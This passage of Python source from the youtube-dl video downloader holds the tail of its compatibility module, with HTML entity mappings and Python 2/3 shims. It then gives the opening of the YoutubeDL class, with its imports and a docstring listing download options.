        'Ucirc;': '\xdb',
        'ucirc;': '\xfb',
        'Ucy;': '\u0423',
        'ucy;': '\u0443',
        'udarr;': '\u21c5',
        'Udblac;': '\u0170',
        'udblac;': '\u0171',
        'udhar;': '\u296e',
        'ufisht;': '\u297e',
        'Ufr;': '\U0001d518',
        'ufr;': '\U0001d532',
        'Ugrave': '\xd9',
        'ugrave': '\xf9',
        'Ugrave;': '\xd9',
        'ugrave;': '\xf9',
        'uHar;': '\u2963',
        'uharl;': '\u21bf',
        'uharr;': '\u21be',
        'uhblk;': '\u2580',
        'ulcorn;': '\u231c',
        'ulcorner;': '\u231c',
        'ulcrop;': '\u230f',
        'ultri;': '\u25f8',
        'Umacr;': '\u016a',
        'umacr;': '\u016b',
        'uml': '\xa8',
        'uml;': '\xa8',
        'UnderBar;': '_',
        'UnderBrace;': '\u23df',
        'UnderBracket;': '\u23b5',
        'UnderParenthesis;': '\u23dd',
        'Union;': '\u22c3',
        'UnionPlus;': '\u228e',
        'Uogon;': '\u0172',
        'uogon;': '\u0173',
        'Uopf;': '\U0001d54c',
        'uopf;': '\U0001d566',
        'UpArrow;': '\u2191',
        'Uparrow;': '\u21d1',
        'uparrow;': '\u2191',
        'UpArrowBar;': '\u2912',
        'UpArrowDownArrow;': '\u21c5',
        'UpDownArrow;': '\u2195',
        'Updownarrow;': '\u21d5',
        'updownarrow;': '\u2195',
        'UpEquilibrium;': '\u296e',
        'upharpoonleft;': '\u21bf',
        'upharpoonright;': '\u21be',
        'uplus;': '\u228e',
        'UpperLeftArrow;': '\u2196',
        'UpperRightArrow;': '\u2197',
        'Upsi;': '\u03d2',
        'upsi;': '\u03c5',
        'upsih;': '\u03d2',
        'Upsilon;': '\u03a5',
        'upsilon;': '\u03c5',
        'UpTee;': '\u22a5',
        'UpTeeArrow;': '\u21a5',
        'upuparrows;': '\u21c8',
        'urcorn;': '\u231d',
        'urcorner;': '\u231d',
        'urcrop;': '\u230e',
        'Uring;': '\u016e',
        'uring;': '\u016f',
        'urtri;': '\u25f9',
        'Uscr;': '\U0001d4b0',
        'uscr;': '\U0001d4ca',
        'utdot;': '\u22f0',
        'Utilde;': '\u0168',
        'utilde;': '\u0169',
        'utri;': '\u25b5',
        'utrif;': '\u25b4',
        'uuarr;': '\u21c8',
        'Uuml': '\xdc',
        'uuml': '\xfc',
        'Uuml;': '\xdc',
        'uuml;': '\xfc',
        'uwangle;': '\u29a7',
        'vangrt;': '\u299c',
        'varepsilon;': '\u03f5',
        'varkappa;': '\u03f0',
        'varnothing;': '\u2205',
        'varphi;': '\u03d5',
        'varpi;': '\u03d6',
        'varpropto;': '\u221d',
        'vArr;': '\u21d5',
        'varr;': '\u2195',
        'varrho;': '\u03f1',
        'varsigma;': '\u03c2',
        'varsubsetneq;': '\u228a\ufe00',
        'varsubsetneqq;': '\u2acb\ufe00',
        'varsupsetneq;': '\u228b\ufe00',
        'varsupsetneqq;': '\u2acc\ufe00',
        'vartheta;': '\u03d1',
        'vartriangleleft;': '\u22b2',
        'vartriangleright;': '\u22b3',
        'Vbar;': '\u2aeb',
        'vBar;': '\u2ae8',
        'vBarv;': '\u2ae9',
        'Vcy;': '\u0412',
        'vcy;': '\u0432',
        'VDash;': '\u22ab',
        'Vdash;': '\u22a9',
        'vDash;': '\u22a8',
        'vdash;': '\u22a2',
        'Vdashl;': '\u2ae6',
        'Vee;': '\u22c1',
        'vee;': '\u2228',
        'veebar;': '\u22bb',
        'veeeq;': '\u225a',
        'vellip;': '\u22ee',
        'Verbar;': '\u2016',
        'verbar;': '|',
        'Vert;': '\u2016',
        'vert;': '|',
        'VerticalBar;': '\u2223',
        'VerticalLine;': '|',
        'VerticalSeparator;': '\u2758',
        'VerticalTilde;': '\u2240',
        'VeryThinSpace;': '\u200a',
        'Vfr;': '\U0001d519',
        'vfr;': '\U0001d533',
        'vltri;': '\u22b2',
        'vnsub;': '\u2282\u20d2',
        'vnsup;': '\u2283\u20d2',
        'Vopf;': '\U0001d54d',
        'vopf;': '\U0001d567',
        'vprop;': '\u221d',
        'vrtri;': '\u22b3',
        'Vscr;': '\U0001d4b1',
        'vscr;': '\U0001d4cb',
        'vsubnE;': '\u2acb\ufe00',
        'vsubne;': '\u228a\ufe00',
        'vsupnE;': '\u2acc\ufe00',
        'vsupne;': '\u228b\ufe00',
        'Vvdash;': '\u22aa',
        'vzigzag;': '\u299a',
        'Wcirc;': '\u0174',
        'wcirc;': '\u0175',
        'wedbar;': '\u2a5f',
        'Wedge;': '\u22c0',
        'wedge;': '\u2227',
        'wedgeq;': '\u2259',
        'weierp;': '\u2118',
        'Wfr;': '\U0001d51a',
        'wfr;': '\U0001d534',
        'Wopf;': '\U0001d54e',
        'wopf;': '\U0001d568',
        'wp;': '\u2118',
        'wr;': '\u2240',
        'wreath;': '\u2240',
        'Wscr;': '\U0001d4b2',
        'wscr;': '\U0001d4cc',
        'xcap;': '\u22c2',
        'xcirc;': '\u25ef',
        'xcup;': '\u22c3',
        'xdtri;': '\u25bd',
        'Xfr;': '\U0001d51b',
        'xfr;': '\U0001d535',
        'xhArr;': '\u27fa',
        'xharr;': '\u27f7',
        'Xi;': '\u039e',
        'xi;': '\u03be',
        'xlArr;': '\u27f8',
        'xlarr;': '\u27f5',
        'xmap;': '\u27fc',
        'xnis;': '\u22fb',
        'xodot;': '\u2a00',
        'Xopf;': '\U0001d54f',
        'xopf;': '\U0001d569',
        'xoplus;': '\u2a01',
        'xotime;': '\u2a02',
        'xrArr;': '\u27f9',
        'xrarr;': '\u27f6',
        'Xscr;': '\U0001d4b3',
        'xscr;': '\U0001d4cd',
        'xsqcup;': '\u2a06',
        'xuplus;': '\u2a04',
        'xutri;': '\u25b3',
        'xvee;': '\u22c1',
        'xwedge;': '\u22c0',
        'Yacute': '\xdd',
        'yacute': '\xfd',
        'Yacute;': '\xdd',
        'yacute;': '\xfd',
        'YAcy;': '\u042f',
        'yacy;': '\u044f',
        'Ycirc;': '\u0176',
        'ycirc;': '\u0177',
        'Ycy;': '\u042b',
        'ycy;': '\u044b',
        'yen': '\xa5',
        'yen;': '\xa5',
        'Yfr;': '\U0001d51c',
        'yfr;': '\U0001d536',
        'YIcy;': '\u0407',
        'yicy;': '\u0457',
        'Yopf;': '\U0001d550',
        'yopf;': '\U0001d56a',
        'Yscr;': '\U0001d4b4',
        'yscr;': '\U0001d4ce',
        'YUcy;': '\u042e',
        'yucy;': '\u044e',
        'yuml': '\xff',
        'Yuml;': '\u0178',
        'yuml;': '\xff',
        'Zacute;': '\u0179',
        'zacute;': '\u017a',
        'Zcaron;': '\u017d',
        'zcaron;': '\u017e',
        'Zcy;': '\u0417',
        'zcy;': '\u0437',
        'Zdot;': '\u017b',
        'zdot;': '\u017c',
        'zeetrf;': '\u2128',
        'ZeroWidthSpace;': '\u200b',
        'Zeta;': '\u0396',
        'zeta;': '\u03b6',
        'Zfr;': '\u2128',
        'zfr;': '\U0001d537',
        'ZHcy;': '\u0416',
        'zhcy;': '\u0436',
        'zigrarr;': '\u21dd',
        'Zopf;': '\u2124',
        'zopf;': '\U0001d56b',
        'Zscr;': '\U0001d4b5',
        'zscr;': '\U0001d4cf',
        'zwj;': '\u200d',
        'zwnj;': '\u200c',
    }

try:
    import http.client as compat_http_client
except ImportError:  # Python 2
    import httplib as compat_http_client

try:
    from urllib.error import HTTPError as compat_HTTPError
except ImportError:  # Python 2
    from urllib2 import HTTPError as compat_HTTPError

try:
    from urllib.request import urlretrieve as compat_urlretrieve
except ImportError:  # Python 2
    from urllib import urlretrieve as compat_urlretrieve

try:
    from html.parser import HTMLParser as compat_HTMLParser
except ImportError:  # Python 2
    from HTMLParser import HTMLParser as compat_HTMLParser

try:
    from subprocess import DEVNULL
    compat_subprocess_get_DEVNULL = lambda: DEVNULL
except ImportError:
    compat_subprocess_get_DEVNULL = lambda: open(os.path.devnull, 'w')

try:
    import http.server as compat_http_server
except ImportError:
    import BaseHTTPServer as compat_http_server

try:
    compat_str = unicode  # Python 2
except NameError:
    compat_str = str

try:
    from urllib.parse import unquote_to_bytes as compat_urllib_parse_unquote_to_bytes
    from urllib.parse import unquote as compat_urllib_parse_unquote
    from urllib.parse import unquote_plus as compat_urllib_parse_unquote_plus
except ImportError:  # Python 2
    _asciire = (compat_urllib_parse._asciire if hasattr(compat_urllib_parse, '_asciire')
                else re.compile('([\x00-\x7f]+)'))

    # HACK: The following are the correct unquote_to_bytes, unquote and unquote_plus
    # implementations from cpython 3.4.3's stdlib. Python 2's version
    # is apparently broken (see https://github.com/rg3/youtube-dl/pull/6244)

    def compat_urllib_parse_unquote_to_bytes(string):
        """unquote_to_bytes('abc%20def') -> b'abc def'."""
        # Note: strings are encoded as UTF-8. This is only an issue if it contains
        # unescaped non-ASCII characters, which URIs should not.
        if not string:
            # Is it a string-like object?
            string.split
            return b''
        if isinstance(string, compat_str):
            string = string.encode('utf-8')
        bits = string.split(b'%')
        if len(bits) == 1:
            return string
        res = [bits[0]]
        append = res.append
        for item in bits[1:]:
            try:
                append(compat_urllib_parse._hextochr[item[:2]])
                append(item[2:])
            except KeyError:
                append(b'%')
                append(item)
        return b''.join(res)

    def compat_urllib_parse_unquote(string, encoding='utf-8', errors='replace'):
        """Replace %xx escapes by their single-character equivalent. The optional
        encoding and errors parameters specify how to decode percent-encoded
        sequences into Unicode characters, as accepted by the bytes.decode()
        method.
        By default, percent-encoded sequences are decoded with UTF-8, and invalid
        sequences are replaced by a placeholder character.

        unquote('abc%20def') -> 'abc def'.
        """
        if '%' not in string:
            string.split
            return string
        if encoding is None:
            encoding = 'utf-8'
        if errors is None:
            errors = 'replace'
        bits = _asciire.split(string)
        res = [bits[0]]
        append = res.append
        for i in range(1, len(bits), 2):
            append(compat_urllib_parse_unquote_to_bytes(bits[i]).decode(encoding, errors))
            append(bits[i + 1])
        return ''.join(res)

    def compat_urllib_parse_unquote_plus(string, encoding='utf-8', errors='replace'):
        """Like unquote(), but also replace plus signs by spaces, as required for
        unquoting HTML form values.

        unquote_plus('%7e/abc+def') -> '~/abc def'
        """
        string = string.replace('+', ' ')
        return compat_urllib_parse_unquote(string, encoding, errors)

try:
    from urllib.parse import urlencode as compat_urllib_parse_urlencode
except ImportError:  # Python 2
    # Python 2 will choke in urlencode on mixture of byte and unicode strings.
    # Possible solutions are to either port it from python 3 with all
    # the friends or manually ensure input query contains only byte strings.
    # We will stick with latter thus recursively encoding the whole query.
    def compat_urllib_parse_urlencode(query, doseq=0, encoding='utf-8'):
        def encode_elem(e):
            if isinstance(e, dict):
                e = encode_dict(e)
            elif isinstance(e, (list, tuple,)):
                list_e = encode_list(e)
                e = tuple(list_e) if isinstance(e, tuple) else list_e
            elif isinstance(e, compat_str):
                e = e.encode(encoding)
            return e

        def encode_dict(d):
            return dict((encode_elem(k), encode_elem(v)) for k, v in d.items())

        def encode_list(l):
            return [encode_elem(e) for e in l]

        return compat_urllib_parse.urlencode(encode_elem(query), doseq=doseq)

try:
    from urllib.request import DataHandler as compat_urllib_request_DataHandler
except ImportError:  # Python < 3.4
    # Ported from CPython 98774:1733b3bd46db, Lib/urllib/request.py
    class compat_urllib_request_DataHandler(compat_urllib_request.BaseHandler):
        def data_open(self, req):
            # data URLs as specified in RFC 2397.
            #
            # ignores POSTed data
            #
            # syntax:
            # dataurl   := "data:" [ mediatype ] [ ";base64" ] "," data
            # mediatype := [ type "/" subtype ] *( ";" parameter )
            # data      := *urlchar
            # parameter := attribute "=" value
            url = req.get_full_url()

            scheme, data = url.split(':', 1)
            mediatype, data = data.split(',', 1)

            # even base64 encoded data URLs might be quoted so unquote in any case:
            data = compat_urllib_parse_unquote_to_bytes(data)
            if mediatype.endswith(';base64'):
                data = binascii.a2b_base64(data)
                mediatype = mediatype[:-7]

            if not mediatype:
                mediatype = 'text/plain;charset=US-ASCII'

            headers = email.message_from_string(
                'Content-type: %s\nContent-length: %d\n' % (mediatype, len(data)))

            return compat_urllib_response.addinfourl(io.BytesIO(data), headers, url)

try:
    compat_basestring = basestring  # Python 2
except NameError:
    compat_basestring = str

try:
    compat_chr = unichr  # Python 2
except NameError:
    compat_chr = chr

try:
    from xml.etree.ElementTree import ParseError as compat_xml_parse_error
except ImportError:  # Python 2.6
    from xml.parsers.expat import ExpatError as compat_xml_parse_error


etree = xml.etree.ElementTree


class _TreeBuilder(etree.TreeBuilder):
    def doctype(self, name, pubid, system):
        pass

if sys.version_info[0] >= 3:
    def compat_etree_fromstring(text):
        return etree.XML(text, parser=etree.XMLParser(target=_TreeBuilder()))
else:
    # python 2.x tries to encode unicode strings with ascii (see the
    # XMLParser._fixtext method)
    try:
        _etree_iter = etree.Element.iter
    except AttributeError:  # Python <=2.6
        def _etree_iter(root):
            for el in root.findall('*'):
                yield el
                for sub in _etree_iter(el):
                    yield sub

    # on 2.6 XML doesn't have a parser argument, function copied from CPython
    # 2.7 source
    def _XML(text, parser=None):
        if not parser:
            parser = etree.XMLParser(target=_TreeBuilder())
        parser.feed(text)
        return parser.close()

    def _element_factory(*args, **kwargs):
        el = etree.Element(*args, **kwargs)
        for k, v in el.items():
            if isinstance(v, bytes):
                el.set(k, v.decode('utf-8'))
        return el

    def compat_etree_fromstring(text):
        doc = _XML(text, parser=etree.XMLParser(target=_TreeBuilder(element_factory=_element_factory)))
        for el in _etree_iter(doc):
            if el.text is not None and isinstance(el.text, bytes):
                el.text = el.text.decode('utf-8')
        return doc

if sys.version_info < (2, 7):
    # Here comes the crazy part: In 2.6, if the xpath is a unicode,
    # .//node does not match if a node is a direct child of . !
    def compat_xpath(xpath):
        if isinstance(xpath, compat_str):
            xpath = xpath.encode('ascii')
        return xpath
else:
    compat_xpath = lambda xpath: xpath

try:
    from urllib.parse import parse_qs as compat_parse_qs
except ImportError:  # Python 2
    # HACK: The following is the correct parse_qs implementation from cpython 3's stdlib.
    # Python 2's version is apparently totally broken

    def _parse_qsl(qs, keep_blank_values=False, strict_parsing=False,
                   encoding='utf-8', errors='replace'):
        qs, _coerce_result = qs, compat_str
        pairs = [s2 for s1 in qs.split('&') for s2 in s1.split(';')]
        r = []
        for name_value in pairs:
            if not name_value and not strict_parsing:
                continue
            nv = name_value.split('=', 1)
            if len(nv) != 2:
                if strict_parsing:
                    raise ValueError('bad query field: %r' % (name_value,))
                # Handle case of a control-name with no equal sign
                if keep_blank_values:
                    nv.append('')
                else:
                    continue
            if len(nv[1]) or keep_blank_values:
                name = nv[0].replace('+', ' ')
                name = compat_urllib_parse_unquote(
                    name, encoding=encoding, errors=errors)
                name = _coerce_result(name)
                value = nv[1].replace('+', ' ')
                value = compat_urllib_parse_unquote(
                    value, encoding=encoding, errors=errors)
                value = _coerce_result(value)
                r.append((name, value))
        return r

    def compat_parse_qs(qs, keep_blank_values=False, strict_parsing=False,
                        encoding='utf-8', errors='replace'):
        parsed_result = {}
        pairs = _parse_qsl(qs, keep_blank_values, strict_parsing,
                           encoding=encoding, errors=errors)
        for name, value in pairs:
            if name in parsed_result:
                parsed_result[name].append(value)
            else:
                parsed_result[name] = [value]
        return parsed_result

try:
    from shlex import quote as compat_shlex_quote
except ImportError:  # Python < 3.3
    def compat_shlex_quote(s):
        if re.match(r'^[-_\w./]+$', s):
            return s
        else:
            return "'" + s.replace("'", "'\"'\"'") + "'"


try:
    args = shlex.split('中文')
    assert (isinstance(args, list) and
            isinstance(args[0], compat_str) and
            args[0] == '中文')
    compat_shlex_split = shlex.split
except (AssertionError, UnicodeEncodeError):
    # Working around shlex issue with unicode strings on some python 2
    # versions (see http://bugs.python.org/issue1548891)
    def compat_shlex_split(s, comments=False, posix=True):
        if isinstance(s, compat_str):
            s = s.encode('utf-8')
        return list(map(lambda s: s.decode('utf-8'), shlex.split(s, comments, posix)))


def compat_ord(c):
    if type(c) is int:
        return c
    else:
        return ord(c)


compat_os_name = os._name if os.name == 'java' else os.name


if sys.version_info >= (3, 0):
    compat_getenv = os.getenv
    compat_expanduser = os.path.expanduser

    def compat_setenv(key, value, env=os.environ):
        env[key] = value
else:
    # Environment variables should be decoded with filesystem encoding.
    # Otherwise it will fail if any non-ASCII characters present (see #3854 #3217 #2918)

    def compat_getenv(key, default=None):
        from .utils import get_filesystem_encoding
        env = os.getenv(key, default)
        if env:
            env = env.decode(get_filesystem_encoding())
        return env

    def compat_setenv(key, value, env=os.environ):
        def encode(v):
            from .utils import get_filesystem_encoding
            return v.encode(get_filesystem_encoding()) if isinstance(v, compat_str) else v
        env[encode(key)] = encode(value)

    # HACK: The default implementations of os.path.expanduser from cpython do not decode
    # environment variables with filesystem encoding. We will work around this by
    # providing adjusted implementations.
    # The following are os.path.expanduser implementations from cpython 2.7.8 stdlib
    # for different platforms with correct environment variables decoding.

    if compat_os_name == 'posix':
        def compat_expanduser(path):
            """Expand ~ and ~user constructions.  If user or $HOME is unknown,
            do nothing."""
            if not path.startswith('~'):
                return path
            i = path.find('/', 1)
            if i < 0:
                i = len(path)
            if i == 1:
                if 'HOME' not in os.environ:
                    import pwd
                    userhome = pwd.getpwuid(os.getuid()).pw_dir
                else:
                    userhome = compat_getenv('HOME')
            else:
                import pwd
                try:
                    pwent = pwd.getpwnam(path[1:i])
                except KeyError:
                    return path
                userhome = pwent.pw_dir
            userhome = userhome.rstrip('/')
            return (userhome + path[i:]) or '/'
    elif compat_os_name == 'nt' or compat_os_name == 'ce':
        def compat_expanduser(path):
            """Expand ~ and ~user constructs.

            If user or $HOME is unknown, do nothing."""
            if path[:1] != '~':
                return path
            i, n = 1, len(path)
            while i < n and path[i] not in '/\\':
                i = i + 1

            if 'HOME' in os.environ:
                userhome = compat_getenv('HOME')
            elif 'USERPROFILE' in os.environ:
                userhome = compat_getenv('USERPROFILE')
            elif 'HOMEPATH' not in os.environ:
                return path
            else:
                try:
                    drive = compat_getenv('HOMEDRIVE')
                except KeyError:
                    drive = ''
                userhome = os.path.join(drive, compat_getenv('HOMEPATH'))

            if i != 1:  # ~user
                userhome = os.path.join(os.path.dirname(userhome), path[1:i])

            return userhome + path[i:]
    else:
        compat_expanduser = os.path.expanduser


if sys.version_info < (3, 0):
    def compat_print(s):
        from .utils import preferredencoding
        print(s.encode(preferredencoding(), 'xmlcharrefreplace'))
else:
    def compat_print(s):
        assert isinstance(s, compat_str)
        print(s)


if sys.version_info < (3, 0) and sys.platform == 'win32':
    def compat_getpass(prompt, *args, **kwargs):
        if isinstance(prompt, compat_str):
            from .utils import preferredencoding
            prompt = prompt.encode(preferredencoding())
        return getpass.getpass(prompt, *args, **kwargs)
else:
    compat_getpass = getpass.getpass

try:
    compat_input = raw_input
except NameError:  # Python 3
    compat_input = input

# Python < 2.6.5 require kwargs to be bytes
try:
    def _testfunc(x):
        pass
    _testfunc(**{'x': 0})
except TypeError:
    def compat_kwargs(kwargs):
        return dict((bytes(k), v) for k, v in kwargs.items())
else:
    compat_kwargs = lambda kwargs: kwargs


if sys.version_info < (2, 7):
    def compat_socket_create_connection(address, timeout, source_address=None):
        host, port = address
        err = None
        for res in socket.getaddrinfo(host, port, 0, socket.SOCK_STREAM):
            af, socktype, proto, canonname, sa = res
            sock = None
            try:
                sock = socket.socket(af, socktype, proto)
                sock.settimeout(timeout)
                if source_address:
                    sock.bind(source_address)
                sock.connect(sa)
                return sock
            except socket.error as _:
                err = _
                if sock is not None:
                    sock.close()
        if err is not None:
            raise err
        else:
            raise socket.error('getaddrinfo returns an empty list')
else:
    compat_socket_create_connection = socket.create_connection


# Fix https://github.com/rg3/youtube-dl/issues/4223
# See http://bugs.python.org/issue9161 for what is broken
def workaround_optparse_bug9161():
    op = optparse.OptionParser()
    og = optparse.OptionGroup(op, 'foo')
    try:
        og.add_option('-t')
    except TypeError:
        real_add_option = optparse.OptionGroup.add_option

        def _compat_add_option(self, *args, **kwargs):
            enc = lambda v: (
                v.encode('ascii', 'replace') if isinstance(v, compat_str)
                else v)
            bargs = [enc(a) for a in args]
            bkwargs = dict(
                (k, enc(v)) for k, v in kwargs.items())
            return real_add_option(self, *bargs, **bkwargs)
        optparse.OptionGroup.add_option = _compat_add_option

if hasattr(shutil, 'get_terminal_size'):  # Python >= 3.3
    compat_get_terminal_size = shutil.get_terminal_size
else:
    _terminal_size = collections.namedtuple('terminal_size', ['columns', 'lines'])

    def compat_get_terminal_size(fallback=(80, 24)):
        columns = compat_getenv('COLUMNS')
        if columns:
            columns = int(columns)
        else:
            columns = None
        lines = compat_getenv('LINES')
        if lines:
            lines = int(lines)
        else:
            lines = None

        if columns is None or lines is None or columns <= 0 or lines <= 0:
            try:
                sp = subprocess.Popen(
                    ['stty', 'size'],
                    stdout=subprocess.PIPE, stderr=subprocess.PIPE)
                out, err = sp.communicate()
                _lines, _columns = map(int, out.split())
            except Exception:
                _columns, _lines = _terminal_size(*fallback)

            if columns is None or columns <= 0:
                columns = _columns
            if lines is None or lines <= 0:
                lines = _lines
        return _terminal_size(columns, lines)

try:
    itertools.count(start=0, step=1)
    compat_itertools_count = itertools.count
except TypeError:  # Python 2.6
    def compat_itertools_count(start=0, step=1):
        n = start
        while True:
            yield n
            n += step

if sys.version_info >= (3, 0):
    from tokenize import tokenize as compat_tokenize_tokenize
else:
    from tokenize import generate_tokens as compat_tokenize_tokenize


try:
    struct.pack('!I', 0)
except TypeError:
    # In Python 2.6 and 2.7.x < 2.7.7, struct requires a bytes argument
    # See https://bugs.python.org/issue19099
    def compat_struct_pack(spec, *args):
        if isinstance(spec, compat_str):
            spec = spec.encode('ascii')
        return struct.pack(spec, *args)

    def compat_struct_unpack(spec, *args):
        if isinstance(spec, compat_str):
            spec = spec.encode('ascii')
        return struct.unpack(spec, *args)
else:
    compat_struct_pack = struct.pack
    compat_struct_unpack = struct.unpack


__all__ = [
    'compat_HTMLParser',
    'compat_HTTPError',
    'compat_basestring',
    'compat_chr',
    'compat_cookiejar',
    'compat_cookies',
    'compat_etree_fromstring',
    'compat_expanduser',
    'compat_get_terminal_size',
    'compat_getenv',
    'compat_getpass',
    'compat_html_entities',
    'compat_html_entities_html5',
    'compat_http_client',
    'compat_http_server',
    'compat_input',
    'compat_itertools_count',
    'compat_kwargs',
    'compat_ord',
    'compat_os_name',
    'compat_parse_qs',
    'compat_print',
    'compat_setenv',
    'compat_shlex_quote',
    'compat_shlex_split',
    'compat_socket_create_connection',
    'compat_str',
    'compat_struct_pack',
    'compat_struct_unpack',
    'compat_subprocess_get_DEVNULL',
    'compat_tokenize_tokenize',
    'compat_urllib_error',
    'compat_urllib_parse',
    'compat_urllib_parse_unquote',
    'compat_urllib_parse_unquote_plus',
    'compat_urllib_parse_unquote_to_bytes',
    'compat_urllib_parse_urlencode',
    'compat_urllib_parse_urlparse',
    'compat_urllib_request',
    'compat_urllib_request_DataHandler',
    'compat_urllib_response',
    'compat_urlparse',
    'compat_urlretrieve',
    'compat_xml_parse_error',
    'compat_xpath',
    'workaround_optparse_bug9161',
]






#!/usr/bin/env python
# -*- coding: utf-8 -*-

from __future__ import absolute_import, unicode_literals

import collections
import contextlib
import copy
import datetime
import errno
import fileinput
import io
import itertools
import json
import locale
import operator
import os
import platform
import re
import shutil
import subprocess
import socket
import sys
import time
import tokenize
import traceback

from .compat import (
    compat_basestring,
    compat_cookiejar,
    compat_expanduser,
    compat_get_terminal_size,
    compat_http_client,
    compat_kwargs,
    compat_os_name,
    compat_str,
    compat_tokenize_tokenize,
    compat_urllib_error,
    compat_urllib_request,
    compat_urllib_request_DataHandler,
)
from .utils import (
    age_restricted,
    args_to_str,
    ContentTooShortError,
    date_from_str,
    DateRange,
    DEFAULT_OUTTMPL,
    determine_ext,
    determine_protocol,
    DownloadError,
    encode_compat_str,
    encodeFilename,
    error_to_compat_str,
    ExtractorError,
    format_bytes,
    formatSeconds,
    locked_file,
    make_HTTPS_handler,
    MaxDownloadsReached,
    PagedList,
    parse_filesize,
    PerRequestProxyHandler,
    platform_name,
    PostProcessingError,
    preferredencoding,
    prepend_extension,
    register_socks_protocols,
    render_table,
    replace_extension,
    SameFileError,
    sanitize_filename,
    sanitize_path,
    sanitize_url,
    sanitized_Request,
    std_headers,
    subtitles_filename,
    UnavailableVideoError,
    url_basename,
    version_tuple,
    write_json_file,
    write_string,
    YoutubeDLCookieProcessor,
    YoutubeDLHandler,
)
from .cache import Cache
from .extractor import get_info_extractor, gen_extractor_classes, _LAZY_LOADER
from .downloader import get_suitable_downloader
from .downloader.rtmp import rtmpdump_version
from .postprocessor import (
    FFmpegFixupM3u8PP,
    FFmpegFixupM4aPP,
    FFmpegFixupStretchedPP,
    FFmpegMergerPP,
    FFmpegPostProcessor,
    get_postprocessor,
)
from .version import __version__

if compat_os_name == 'nt':
    import ctypes


class YoutubeDL(object):
    """YoutubeDL class.

    YoutubeDL objects are the ones responsible of downloading the
    actual video file and writing it to disk if the user has requested
    it, among some other tasks. In most cases there should be one per
    program. As, given a video URL, the downloader doesn't know how to
    extract all the needed information, task that InfoExtractors do, it
    has to pass the URL to one of them.

    For this, YoutubeDL objects have a method that allows
    InfoExtractors to be registered in a given order. When it is passed
    a URL, the YoutubeDL object handles it to the first InfoExtractor it
    finds that reports being able to handle it. The InfoExtractor extracts
    all the information about the video or videos the URL refers to, and
    YoutubeDL process the extracted information, possibly using a File
    Downloader to download the video.

    YoutubeDL objects accept a lot of parameters. In order not to saturate
    the object constructor with arguments, it receives a dictionary of
    options instead. These options are available through the params
    attribute for the InfoExtractors to use. The YoutubeDL also
    registers itself as the downloader in charge for the InfoExtractors
    that are added to it, so this is a "mutual registration".

    Available options:

    username:          Username for authentication purposes.
    password:          Password for authentication purposes.
    videopassword:     Password for accessing a video.
    usenetrc:          Use netrc for authentication instead.
    verbose:           Print additional info to stdout.
    quiet:             Do not print messages to stdout.
    no_warnings:       Do not print out anything for warnings.
    forceurl:          Force printing final URL.
    forcetitle:        Force printing title.
    forceid:           Force printing ID.
    forcethumbnail:    Force printing thumbnail URL.
    forcedescription:  Force printing description.
    forcefilename:     Force printing final filename.
    forceduration:     Force printing duration.
    forcejson:         Force printing info_dict as JSON.
    dump_single_json:  Force printing the info_dict of the whole playlist
                       (or video) as a single JSON line.
    simulate:          Do not download the video files.
    format:            Video format code. See options.py for more information.
    outtmpl:           Template for output names.
    restrictfilenames: Do not allow "&" and spaces in file names
    ignoreerrors:      Do not stop on download errors.
    force_generic_extractor: Force downloader to use the generic extractor
    nooverwrites:      Prevent overwriting files.
    playliststart:     Playlist item to start at.
    playlistend:       Playlist item to end at.
    playlist_items:    Specific indices of playlist to download.
    playlistreverse:   Download playlist items in reverse order.
    matchtitle:        Download only matching titles.
    rejecttitle:       Reject downloads for matching titles.
    logger:            Log messages to a logging.Logger instance.
    logtostderr:       Log messages to stderr instead of stdout.
    writedescription:  Write the video description to a .description file
    writeinfojson:     Write the video description to a .info.json file
    writeannotations:  Write the video annotations to a .annotations.xml file
    writethumbnail:    Write the thumbnail image to a file
    write_all_thumbnails:  Write all thumbnail formats to files
    writesubtitles:    Write the video subtitles to a file
    writeautomaticsub: Write the automatically generated subtitles to a file
    allsubtitles:      Downloads all the subtitles of the video
                       (requires writesubtitles or writeautomaticsub)
    listsubtitles:     Lists all available subtitles for the video
    subtitlesformat:   The format code for subtitles
    subtitleslangs:    List of languages of the subtitles to download
    keepvideo:         Keep the video file after post-processing
    daterange:         A DateRange object, download only if the upload_date is in the range.
    skip_download:     Skip the actual download of the video file
    cachedir:          Location of the cache files in the filesystem.
                       False to disable filesystem cache.
    noplaylist:        Download single video instead of a playlist if in doubt.
    age_limit:         An integer representing the user's age in years.
                       Unsuitable videos for the given age are skipped.
    min_views:         An integer representing the minimum view count the video
                       must have in order to not be skipped.
                       Videos without view count information are always
                       downloaded. None for no limit.
    max_views:         An integer representing the maximum view count.
                       Videos that are more popular than that are not
                       downloaded.
                       Videos without view count information are always
                       downloaded. None for no limit.
    download_archive:  File name of a file where all downloads are recorded.
                       Videos already present in the file are not downloaded
                       again.
    cookiefile:        File name where cookies should be read from and dumped to.
    nocheckcertificate:Do not verify SSL certificates
    prefer_insecure:   Use HTTP instead of HTTPS to retrieve information.
                       At the moment, this is only supported by YouTube.
    proxy:             URL of the proxy server to use
    geo_verification_proxy:  URL of the proxy to use for IP address verification
                       on geo-restricted sites. (Experimental)
    socket_timeout:    Time to wait for unresponsive hosts, in seconds
    bidi_workaround:   Work around buggy terminals without bidirectional text
                       support, using fridibi
    debug_printtraffic:Print out sent and received HTTP traffic
    include_ads:       Download ads as well
    default_search:    Prepend this string if an input url is not valid.
                       'auto' for elaborate guessing
    encoding:          Use this encoding instead of the system-specified.
    extract_flat:      Do not resolve URLs, return the immediate result.
                       Pass in 'in_playlist' to only show this behavior for
                       playlist items.
    postprocessors:    A list of dictionaries, each with an entry
                       * key:  The name of the postprocessor. See
                               youtube_dl/postprocessor/__init__.py for a list.
                       as well as any further keyword arguments for the
                       postprocessor.
    progress_hooks:    A list of functions that get called on download
                       progress, with a dictionary with the entries
                       * status: One of "downloading", "error", or "finished".
                                 Check this first and ignore unknown values.

                       If status is one of "downloading", or "finished", the
                       following properties may also be present:
                       * filename: The final filename (always present)
                       * tmpfilename: The filename we're currently writing to
                       * downloaded_bytes: Bytes on disk
                       * total_bytes: Size of the whole file, None if unknown
                       * total_bytes_estimate: Guess of the eventual file size,
                                               None if unavailable.
                       * elapsed: The number of seconds since download started.
                       * eta: The estimated time in seconds, None if unknown
                       * speed: The download speed in bytes/second, None if
                                unknown
                       * fragment_index: The counter of the currently
                                         downloaded video fragment.
                       * fragment_count: The number of fragments (= individual
                                         files that will be merged)

                       Progress hooks are guaranteed to be called at least once
                       (with status "finished") if the download is successful.
    merge_output_format: Extension to use when merging formats.
    fixup:             Automatically correct known faults of the file.
                       One of:
                       - "never": do nothing
                       - "warn": only emit a warning
